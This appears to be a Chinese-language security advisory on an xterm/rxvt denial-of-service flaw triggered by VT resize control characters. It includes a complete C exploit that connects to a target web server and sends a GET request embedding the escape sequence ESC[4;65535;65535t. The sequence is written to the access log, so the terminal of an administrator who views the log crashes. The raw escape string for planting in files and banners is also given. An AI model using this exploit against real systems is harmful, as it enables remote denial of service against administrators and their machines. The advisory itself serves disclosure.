xterm 特殊控制字符导致拒绝服务漏洞

发布时间：1999-12-01
更新时间：1999-12-01
严重程度：中
威胁程度：远程拒绝服务
错误类型：输入验证错误
利用方式：服务器模式

受影响系统

xterm
不影响系统:KDE konsole 0.9.11，Secure CRT 3.0.x

详细描述
发送VT控制字符给xterm,可能导致xterm崩溃。在某些情况下，当rxvt在处理这些控制字符时，可能导致耗尽所有的可用内存。导致拒绝服务攻击。这些控制字符可能被防置在一些恶意站点的文件或者banner信息中，也可能是在某些log文件中。当管理员在xterm/rxvt下用cat/tail等程序察看这些log文件的时候，就可能受到攻击。

测试代码
/*
*
* xterm Denial of Service Attack
* (C) 2000 Kit Knox <kit@rootshell.com> - 5/31/2000
*
* Tested against: xterm (XFree86 3.3.3.1b(88b)  -- crashes
*                 rxvt v2.6.1 -- consumes all available memory and then
*                                crashes.
*
* Not vulnerable: KDE konsole 0.9.11
*                 Secure CRT 3.0.x
*
*
* By sending the VT control characters to resize a window it is possible
* to cause an xterm to crash and in some cases consume all available
* memory.
*
* This itself isn't much of a problem, except that remote users can inject
* these control characters into your xterm numerous ways including :
*
* o Directories and filenames on a rogue FTP servers.
* o Rogue banner messages on ftp, telnet, mud daemons.
* o Log files (spoofed syslog messages, web server logs, ftp server logs)
*
* This sample exploit injects these control characters into a web get
* request.  If an admin were to cat this log file, or happened to be doing
* a "tail -f access_log" at the time of attack they would find their
* xterm crash.
*
* Embedding "ESCAPE[4;65535;65535t" (where escape is the escape character)
* inside files, directories, etc will have the same effect as this code.
*
*/

#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

int sock;

int
main (int argc, char *argv[])
{
  struct hostent *he;
  struct sockaddr_in sa;
  char buf[1024];
  char packet[1024];
  int i;

  fprintf(stderr, "[ http://www.rootshell.com/ ] - xterm DoS attack - 05/31/2000.\n\n");
  if (argc != 2)
    {
      fprintf (stderr, "usage: %s <host/ip>\n", argv[0]);
      return (-1);
    }

  sock = socket (AF_INET, SOCK_STREAM, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = htons (80);
  he = gethostbyname (argv[1]);
  if (!he)
    {
      if ((sa.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE)
    return (-1);
    }
  else
    {
      bcopy (he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
    }
  if (connect (sock, (struct sockaddr *) &sa, sizeof (sa)) < 0)
    {
      fprintf (stderr,
           "Fatal Error: Can't connect to web server.\n");
      return (-1);
    }
  sprintf(packet, "GET /\033[4;65535;65535t HTTP/1.0\n\n");
  write (sock, packet, strlen(packet));
  close (sock);
  fprintf(stderr, "Done.\n");
}

解决方案
尚无

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